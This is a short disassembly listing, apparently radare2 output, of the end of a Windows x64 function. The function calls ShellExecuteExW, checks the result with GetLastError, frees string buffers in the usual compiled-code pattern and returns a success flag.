lea rcx, [rsp + 0x20]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x50], edi
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x18002f640
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, qword [rbx + 0x18]
cmp rdx, 8
jb 0x18002f63c
mov rcx, qword [rbx]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x18002f637
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18002f69d
mov rcx, r8
call fcn.180035588
xor al, al
jmp 0x18002f67d
mov rdx, qword [rbx + 0x18]
cmp rdx, 8
jb 0x18002f67b
mov rcx, qword [rbx]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x18002f676
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18002f69d
mov rcx, r8
call fcn.180035588
mov al, 1
mov word [rbx], di
mov qword [rbx + 0x18], 7
mov qword [rbx + 0x10], rdi
mov rbx, qword [rsp + 0xb0]
add rsp, 0x90
pop rdi
ret
call fcn.18003ed10
int3